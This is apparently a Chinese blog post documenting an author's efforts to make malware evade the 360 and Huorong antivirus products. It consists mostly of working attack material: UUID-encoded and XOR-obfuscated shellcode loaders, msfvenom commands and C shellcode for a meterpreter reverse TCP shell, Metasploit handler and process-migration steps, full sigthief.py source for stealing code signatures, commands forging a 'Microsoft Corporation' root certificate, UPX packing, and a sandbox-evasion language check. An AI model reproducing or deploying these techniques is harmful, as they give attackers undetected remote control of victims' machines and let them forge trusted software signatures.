1 const char * uuids[] = {"87e02b9f-8b93-63a3-6363-223222333132" ,"b1522b35-2b06-31e8-032b-e8317b2be831" ,"11e82b43-2b33-d46c-2929-2e52aa2b52a3" ,"1f025fcf-4f61-2243-a2aa-6e2262a2818e" ,"2b322231-31e8-e843-215f-2b62b3e8e3eb" ,"2b636363-a3e6-0417-2b62-b333e82b7b27" ,"2a4323e8-b362-3580-2b9c-aa22e857eb2b" ,"522eb562-2baa-a352-cf22-a2aa6e2262a2" ,"9216835b-602f-472f-6b26-5ab216bb3b27" ,"2a4723e8-b362-2205-e86f-2b27e8237f2a" ,"e822b362-eb67-622b-b322-3b223b3d3a39" ,"3a223b22-3922-e02b-8f43-22319c833b22" ,"e82b393a-8a71-9c34-9c9c-3e2bd9626363" ,"63636363-2b63-eeee-6262-636322d952e8" ,"b69ce40c-93d8-c1d6-3522-d9c5f6defe9c" ,"a7e02bb6-5f4b-1f65-69e3-98831666d824" ,"090c1170-3a63-ea22-b99c-b600020f004d" ,"63061b06-9090-9090-9090-909090909090" };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include <Windows.h> #include <stdio.h> #include <Rpc.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) #pragma comment(lib, "Rpcrt4.lib" ) const char * uuids[] = {"87e02b9f-8b93-63a3-6363-223222333132" ,"b1522b35-2b06-31e8-032b-e8317b2be831" ,"11e82b43-2b33-d46c-2929-2e52aa2b52a3" ,"1f025fcf-4f61-2243-a2aa-6e2262a2818e" ,"2b322231-31e8-e843-215f-2b62b3e8e3eb" ,"2b636363-a3e6-0417-2b62-b333e82b7b27" ,"2a4323e8-b362-3580-2b9c-aa22e857eb2b" ,"522eb562-2baa-a352-cf22-a2aa6e2262a2" ,"9216835b-602f-472f-6b26-5ab216bb3b27" ,"2a4723e8-b362-2205-e86f-2b27e8237f2a" ,"e822b362-eb67-622b-b322-3b223b3d3a39" ,"3a223b22-3922-e02b-8f43-22319c833b22" ,"e82b393a-8a71-9c34-9c9c-3e2bd9626363" ,"63636363-2b63-eeee-6262-636322d952e8" ,"b69ce40c-93d8-c1d6-3522-d9c5f6defe9c" ,"a7e02bb6-5f4b-1f65-69e3-98831666d824" ,"090c1170-3a63-ea22-b99c-b600020f004d" ,"63061b06-9090-9090-9090-909090909090" };void main () { HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0 , 0 ); void * buffer = HeapAlloc(hc, 0 , 0x100000 ); if (buffer == NULL ) { return ; } PBYTE buffer_backup = (PBYTE)buffer; int elems = sizeof (uuids) / sizeof (uuids[0 ]); for (int i = 0 ; i < elems; i++) { RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)buffer_backup); if (status != RPC_S_OK) { CloseHandle(buffer); return ; } buffer_backup += 16 ; } EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, 0 ); CloseHandle(buffer); }
使用回调函数和加载动态API应该是动态都不行,笔者懒逼就不试了
编译器和exe文件
当我们对加载器进行了一些优化和对shellcode进行了混淆和分离加载,但是杀软还是进行了报毒。这可能就是因为你的程序没有数字签名 或者没有详细的版本信息 ,所以我们可以通过控制变量法对比查杀效果,进而总结出来杀软的查杀态度。
举例:360查杀VS编译好的hello world!
1 2 3 4 5 #include <iostream> int main () { std ::cout << "Hello World!\n" ; }
发现是报毒的这里看看一下属性
将其跟换为md即可绕过
解释一下这几个运行库
MD:不把运行库编译进去,运行时寻找MSVCRT.dll—>程序较小,但是目标机器上必须有运行库。
MT:把运行库编译进你的程序里—->程序变大,但发布方便不需要dll。
MTd、MDd:表示Debug版本,包含调试信息和内存检测工具。(_calloc_dbg就是Debug模式特有的)
这里笔者之前一直试的是静态编译,所以准备试试动态编译。
也就是转为MD
动态编译加载shellcode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <Windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char buf[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" }; int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(buf, sizeof (buf), key); LPVOID addr = VirtualAlloc(NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 1 ; } memcpy (addr, buf, sizeof (buf)); ((void (*)())addr)(); }
静态查杀过了,动态也没杀
不太清楚360为啥没报杀,但是可能是我虚拟机里边的360问题。
但是火绒动态没过!
这边准备尝试一下上线
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<监听端口> -f <格式> -o <输出文件> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168 .222 .161 LPORT=4444 -f c unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f" "\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b" "\x42\x3c\x41\x51\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f" "\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0" "\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49" "\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88" "\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1" "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8" "\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x41\x58" "\x48\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83" "\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00" "\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49" "\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xde\xa1\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5" "\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b" "\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31" "\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41" "\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58" "\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5" "\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00" "\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58" "\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00" "\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68" "\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba" "\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9" "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68" "\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f" "\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49" "\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48" "\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2" "\xf0\xb5\xa2\x56\xff\xd5" ;
奥,这段代码还得异或一下99得到新的shellcode
这里使用工具加载成二进制文件,然后xor99在提取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned char buf[] = {"\x9f\x2b\xe0\x87\x93\x8b\xaf\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2e\x52\xaa\x2b\x6c\xd4\x29\x29\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x2b\xe8\x31\x43\xe8\x21\x5f\x22\x32\x2b\x62\xb3\x05\xe2\x1b\x7b\x68\x61\x6c\xe6\x11\x63\x63\x63\xe8" "\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62\xb3\xe8\x2b\x7b\x33\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2e\x52\xaa\x2b" "\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2b\x52\xa3\x22\xa2\xaa\x6e\xcf\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26" "\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x22\x3b" "\x22\x3b\x2b\x62\xb3\x3d\x3a\x39\x22\x3b\x22\x3a\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a" "\x28\x9c\x9c\x9c\x3e\x2a\xdd\x14\x10\x51\x3c\x50\x51\x63\x63\x22\x35\x2a\xea\x85\x2b\xe2\x8f\xc3\x62\x63\x63\x2a\xea\x86" "\x2a\xdf\x61\x63\x72\x3f\xa3\xcb\xbd\xc2\x22\x37\x2a\xea\x87\x2f\xea\x92\x22\xd9\x2f\x14\x45\x64\x9c\xb6\x2f\xea\x89\x0b" "\x62\x62\x63\x63\x3a\x22\xd9\x4a\xe3\x08\x63\x9c\xb6\x09\x69\x22\x3d\x33\x33\x2e\x52\xaa\x2e\x52\xa3\x2b\x9c\xa3\x2b\xea" "\xa1\x2b\x9c\xa3\x2b\xea\xa2\x22\xd9\x89\x6c\xbc\x83\x9c\xb6\x2b\xea\xa4\x09\x73\x22\x3b\x2f\xea\x81\x2b\xea\x9a\x22\xd9" "\xfa\xc6\x17\x02\x9c\xb6\xe6\xa3\x17\x69\x2a\x9c\xad\x16\x86\x8b\xf0\x63\x63\x63\x2b\xe0\x8f\x73\x2b\xea\x81\x2e\x52\xaa" "\x09\x67\x22\x3b\x2b\xea\x9a\x22\xd9\x61\xba\xab\x3c\x9c\xb6\xe0\x9b\x63\x1d\x36\x2b\xe0\xa7\x43\x3d\xea\x95\x09\x23\x22" "\x3a\x0b\x63\x73\x63\x63\x22\x3b\x2b\xea\x91\x2b\x52\xaa\x22\xd9\x3b\xc7\x30\x86\x9c\xb6\x2b\xea\xa0\x2a\xea\xa4\x2e\x52" "\xaa\x2a\xea\x93\x2b\xea\xb9\x2b\xea\x9a\x22\xd9\x61\xba\xab\x3c\x9c\xb6\xe0\x9b\x63\x1e\x4b\x3b\x22\x34\x3a\x0b\x63\x23" "\x63\x63\x22\x3b\x09\x63\x39\x22\xd9\x68\x4c\x6c\x53\x9c\xb6\x34\x3a\x22\xd9\x16\x0d\x2e\x02\x9c\xb6\x2a\x9c\xad\x8a\x5f" "\x9c\x9c\x9c\x2b\x62\xa0\x2b\x4a\xa5\x2b\xe6\x95\x16\xd7\x22\x9c\x84\x3b\x09\x63\x3a\x2a\xa4\xa1\x93\xd6\xc1\x35\x9c\xb6" };
使用kali自带的msfconsole进行监听端口
1 2 3 4 5 6 7 8 9 10 11 msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.222.161 set LPORT 4444 run chcp 65001#解决乱码
但是笔者试了一下退出后敲
就会报杀了
这里笔者问问了inf_师傅 ,他说可以试试进程迁移 ,这里笔者也是试了试。
1 2 3 4 ps getpid migrate id shell
这里笔者也是找了一个靠前面的,然后尝试了一下
这里不知道真实的渗透是什么样的。
添加签名 添加数字签名
1 2 3 4 python3 sigthief.py -i 签名文件 -t 样本.exe -o 输出.exe python3 sigthief.py -i ./HipsMain.exe -t miansha1.exe -o miansha_1.exe python3 sigthief.py -i ./ -t miansha1.exe -o miansha_1.exe
sigthief.py 文章在这。文件我直接帖子下面了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 > > > >import sys >import struct >import shutil >import io >from optparse import OptionParser >def gather_file_info_win (binary ): """ Borrowed from BDF... I could just skip to certLOC... *shrug* """ flItms = {} binary = open (binary, 'rb' ) binary.seek(int ('3C' , 16 )) flItms['buffer' ] = 0 flItms['JMPtoCodeAddress' ] = 0 flItms['dis_frm_pehdrs_sectble' ] = 248 flItms['pe_header_location' ] = struct.unpack('<i' , binary.read(4 ))[0 ] flItms['COFF_Start' ] = flItms['pe_header_location' ] + 4 binary.seek(flItms['COFF_Start' ]) flItms['MachineType' ] = struct.unpack('<H' , binary.read(2 ))[0 ] binary.seek(flItms['COFF_Start' ] + 2 , 0 ) flItms['NumberOfSections' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['TimeDateStamp' ] = struct.unpack('<I' , binary.read(4 ))[0 ] binary.seek(flItms['COFF_Start' ] + 16 , 0 ) flItms['SizeOfOptionalHeader' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['Characteristics' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['OptionalHeader_start' ] = flItms['COFF_Start' ] + 20 binary.seek(flItms['OptionalHeader_start' ]) flItms['Magic' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['MajorLinkerVersion' ] = struct.unpack("!B" , binary.read(1 ))[0 ] flItms['MinorLinkerVersion' ] = struct.unpack("!B" , binary.read(1 ))[0 ] flItms['SizeOfCode' ] = struct.unpack("<I" , binary.read(4 ))[0 ] flItms['SizeOfInitializedData' ] = struct.unpack("<I" , binary.read(4 ))[0 ] flItms['SizeOfUninitializedData' ] = struct.unpack("<I" , binary.read(4 ))[0 ] flItms['AddressOfEntryPoint' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['PatchLocation' ] = flItms['AddressOfEntryPoint' ] flItms['BaseOfCode' ] = struct.unpack('<I' , binary.read(4 ))[0 ] if flItms['Magic' ] != 0x20B : flItms['BaseOfData' ] = struct.unpack('<I' , binary.read(4 ))[0 ] if flItms['Magic' ] == 0x20B : flItms['ImageBase' ] = struct.unpack('<Q' , binary.read(8 ))[0 ] else : flItms['ImageBase' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['SectionAlignment' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['FileAlignment' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['MajorOperatingSystemVersion' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['MinorOperatingSystemVersion' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['MajorImageVersion' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['MinorImageVersion' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['MajorSubsystemVersion' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['MinorSubsystemVersion' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['Win32VersionValue' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['SizeOfImageLoc' ] = binary.tell() flItms['SizeOfImage' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['SizeOfHeaders' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['CheckSum' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['Subsystem' ] = struct.unpack('<H' , binary.read(2 ))[0 ] flItms['DllCharacteristics' ] = struct.unpack('<H' , binary.read(2 ))[0 ] if flItms['Magic' ] == 0x20B : flItms['SizeOfStackReserve' ] = struct.unpack('<Q' , binary.read(8 ))[0 ] flItms['SizeOfStackCommit' ] = struct.unpack('<Q' , binary.read(8 ))[0 ] flItms['SizeOfHeapReserve' ] = struct.unpack('<Q' , binary.read(8 ))[0 ] flItms['SizeOfHeapCommit' ] = struct.unpack('<Q' , binary.read(8 ))[0 ] else : flItms['SizeOfStackReserve' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['SizeOfStackCommit' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['SizeOfHeapReserve' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['SizeOfHeapCommit' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['LoaderFlags' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['NumberofRvaAndSizes' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['ExportTableRVA' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['ExportTableSize' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['ImportTableLOCInPEOptHdrs' ] = binary.tell() flItms['ImportTableRVA' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['ImportTableSize' ] = struct.unpack('<I' , binary.read(4 ))[0 ] flItms['ResourceTable' ] = struct.unpack('<Q' , binary.read(8 ))[0 ] flItms['ExceptionTable' ] = struct.unpack('<Q' , binary.read(8 ))[0 ] flItms['CertTableLOC' ] = binary.tell() flItms['CertLOC' ] = struct.unpack("<I" , binary.read(4 ))[0 ] flItms['CertSize' ] = struct.unpack("<I" , binary.read(4 ))[0 ] binary.close() return flItms >def copyCert (exe ): flItms = gather_file_info_win(exe) if flItms['CertLOC' ] == 0 or flItms['CertSize' ] == 0 : print ("Input file Not signed!" ) sys.exit(-1 ) with open (exe, 'rb' ) as f: f.seek(flItms['CertLOC' ], 0 ) cert = f.read(flItms['CertSize' ]) return cert >def writeCert (cert, exe, output ): flItms = gather_file_info_win(exe) if not output: output = output = str (exe) + "_signed" shutil.copy2(exe, output) print ("Output file: {0}" .format (output)) with open (exe, 'rb' ) as g: with open (output, 'wb' ) as f: f.write(g.read()) f.seek(0 ) f.seek(flItms['CertTableLOC' ], 0 ) f.write(struct.pack("<I" , len (open (exe, 'rb' ).read()))) f.write(struct.pack("<I" , len (cert))) f.seek(0 , io.SEEK_END) f.write(cert) print ("Signature appended. \nFIN." ) >def outputCert (exe, output ): cert = copyCert(exe) if not output: output = str (exe) + "_sig" print ("Output file: {0}" .format (output)) open (output, 'wb' ).write(cert) print ("Signature ripped. \nFIN." ) >def check_sig (exe ): flItms = gather_file_info_win(exe) if flItms['CertLOC' ] == 0 or flItms['CertSize' ] == 0 : print ("Inputfile Not signed!" ) else : print ("Inputfile is signed!" ) >def truncate (exe, output ): flItms = gather_file_info_win(exe) if flItms['CertLOC' ] == 0 or flItms['CertSize' ] == 0 : print ("Inputfile Not signed!" ) sys.exit(-1 ) else : print ( "Inputfile is signed!" ) if not output: output = str (exe) + "_nosig" print ("Output file: {0}" .format (output)) shutil.copy2(exe, output) with open (output, "r+b" ) as binary: print ('Overwriting certificate table pointer and truncating binary' ) binary.seek(-flItms['CertSize' ], io.SEEK_END) binary.truncate() binary.seek(flItms['CertTableLOC' ], 0 ) binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00" ) print ("Signature removed. \nFIN." ) >def signfile (exe, sigfile, output ): flItms = gather_file_info_win(exe) cert = open (sigfile, 'rb' ).read() if not output: output = output = str (exe) + "_signed" shutil.copy2(exe, output) print ("Output file: {0}" .format (output)) with open (exe, 'rb' ) as g: with open (output, 'wb' ) as f: f.write(g.read()) f.seek(0 ) f.seek(flItms['CertTableLOC' ], 0 ) f.write(struct.pack("<I" , len (open (exe, 'rb' ).read()))) f.write(struct.pack("<I" , len (cert))) f.seek(0 , io.SEEK_END) f.write(cert) print ("Signature appended. \nFIN." ) >if __name__ == "__main__" : usage = 'usage: %prog [options]' print ("\n\n!! New Version available now for Dev Tier Sponsors! Sponsor here: https://github.com/sponsors/secretsquirrel\n\n" ) parser = OptionParser() parser.add_option("-i" , "--file" , dest="inputfile" , help ="input file" , metavar="FILE" ) parser.add_option('-r' , '--rip' , dest='ripsig' , action='store_true' , help ='rip signature off inputfile' ) parser.add_option('-a' , '--add' , dest='addsig' , action='store_true' , help ='add signautre to targetfile' ) parser.add_option('-o' , '--output' , dest='outputfile' , help ='output file' ) parser.add_option('-s' , '--sig' , dest='sigfile' , help ='binary signature from disk' ) parser.add_option('-t' , '--target' , dest='targetfile' , help ='file to append signature to' ) parser.add_option('-c' , '--checksig' , dest='checksig' , action='store_true' , help ='file to check if signed; does not verify signature' ) parser.add_option('-T' , '--truncate' , dest="truncate" , action='store_true' , help ='truncate signature (i.e. remove sig)' ) (options, args) = parser.parse_args() if options.inputfile and options.ripsig: print ("Ripping signature to file!" ) outputCert(options.inputfile, options.outputfile) sys.exit() if options.inputfile and options.targetfile: cert = copyCert(options.inputfile) writeCert(cert, options.targetfile, options.outputfile) sys.exit() if options.inputfile and options.checksig: check_sig(options.inputfile) sys.exit() if options.targetfile and options.sigfile: signfile(options.targetfile, options.sigfile, options.outputfile) sys.exit() if options.inputfile and options.truncate: truncate(options.inputfile, options.outputfile) sys.exit() parser.print_help() parser.error("You must do something!" )
然后看一下,签名是无效的,只能模拟正常的程序。
看一下火绒报杀不?
反弹是反弹上了,但是还是把我的弹计算器给杀了,还是不太明白,这里笔者问了问cr4eper师傅 他说让我区分一下公网ip和内网ip的区别,笔者以为连接的如果是同一个WiFi就可以互相访问到,结果是我的虚拟机的IP外界是访问不到的,要做个代理。
这里笔者有尝试了一下加360的数字签名。发现过了的!
自签名证书
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 makecert -r -pe -n "CN=Microsoft Windows Production PCA 2011 , O=Microsoft Corporation, L=Redmond, S=Washington, C=US" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv Microsoft.pvk Microsoft.cer certutil -user -addstore Root Microsoft.cer makecert -pe -n "CN=Microsoft Windows Production PCA 2011 , O=Microsoft Corporation, L=Redmond, S=Washington, C=US" -a sha256 -cy end -sky signature -ic Microsoft.cer -iv Microsoft.pvk -sv Microsoft.pvk Microsoft.cer pvk2pfx -pvk Microsoft.pvk -spc Microsoft.cer -pfx Microsoft.pfx signtool sign /f Microsoft.pfx /t http://timestamp.digicert.com /fd SHA256 miasha.exe # 1 . 创建自签名证书(存入当前用户的“我的证书”存储) $cert = New-SelfSignedCertificate ` -Subject "CN=My Code Signing Cert, O=My Company, L=City, S=State, C=US" ` -KeyExportPolicy Exportable ` -KeySpec Signature ` -KeyLength 2048 ` -KeyAlgorithm RSA ` -HashAlgorithm SHA256 ` -CertStoreLocation "Cert:\CurrentUser\My" ` -NotAfter (Get-Date ).AddYears(5 ) ` -Type CodeSigningCert # 2 . 导出为 .pfx 文件(包含私钥) $pfxPassword = ConvertTo-SecureString -String "123456 " -Force -AsPlainText Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\mycert.pfx" -Password $pfxPassword # 3 . 用 signtool 对 EXE 文件签名 # 确保 signtool 在环境变量中,否则需指定完整路径 Start -Process -Wait -NoNewWindow -FilePath "signtool.exe" -ArgumentList @( "sign", "/f", "C:\Temp\mycert.pfx", "/p", "123456 ", "/fd", "SHA256", "/t", "http://timestamp.digicert.com", "C:\Temp\your_app.exe" ) #笔者没试
添加资源 工具Resource Hacker 密码:64ag
打开我们的程序,然后
然后我们就可以看见了
明显看见文件变大了,然后看一下360和火绒都没报杀,笔者这里还是比较异或的,因为笔者担心虚拟机里面的杀软被标记了,然后不报杀了,但是相对来说文件太大了。
加壳 这里笔者也是UPX直接尝试加壳
1 2 3 4 upx -9 miansha1.exe #在 UPX 中,压缩级别从 -1 到 -9 ,数字越大,压缩越强: #-1 :压缩速度最快,但压缩率较低。 #-9 :压缩率最高,但会更慢,占用更多 CPU。
没啥说的。-d
解压
反沙箱 云沙箱的背景 云沙箱是一种基于虚拟化技术的安全防护机制,主要用于对可疑文件、恶意代码进行分析和检测。
云沙箱的工作流程
提交样本:用户将怀疑存在恶意的文件或代码提交给云沙箱系统。这些样本可能是通过电子邮 件、下载或其他途径获得的。
环境隔离:云沙箱系统将待分析的样本运行在隔离的虚拟环境中。这个虚拟环境与真实的操作系 统和网络环境相似,但是与真实系统 完全隔离,以防止样本对真实系统的伤害。
动态和行为分析:在虚拟环境中,云沙箱系统监控样本的行为和操作。它记录样本的文件操作、注 册表修改、网络连接等行为,并生成行为日志。
恶意行为检测:云沙箱系统使用各种检测技术来分析样本的行为日志,以确定其中是否存在恶意 行为。这些技术包括基于特征的检测、行为模式分析、机器学习等。
报告生成:云沙箱系统根据分析结果生成报告。报告中包含样本的基本信息、行为日志、恶意行 为检测结果等。这些报告可以帮助用户了解样本的威胁程度和行为特征。
云沙箱的优势
为什么要反沙箱 大部分杀软本地都会有一个内置的沙箱/或者云上沙箱,当我们 想要运行一个exe时,都会在沙箱中模拟运行, 进行检测
反沙箱的方法 我们可以通过 语言检测 , 开机时间、延迟执行、物理内存、CPU核心数,文件名、磁盘大小、用户名、 进程名去判断是否是在沙箱的环境中, 如果是在沙箱的环境, 那就退出。
检测中文 1 2 3 4 5 6 7 8 9 10 11 12 13 14 nt check () { LANGID langId = GetUserDefaultUILanguage(); if (PRIMARYLANGID(langId) == LANG_CHINESE) { printf ("Chinese" ); RunCode(); } else { printf ("Error" ); exit (1 ); } return 0 ; }
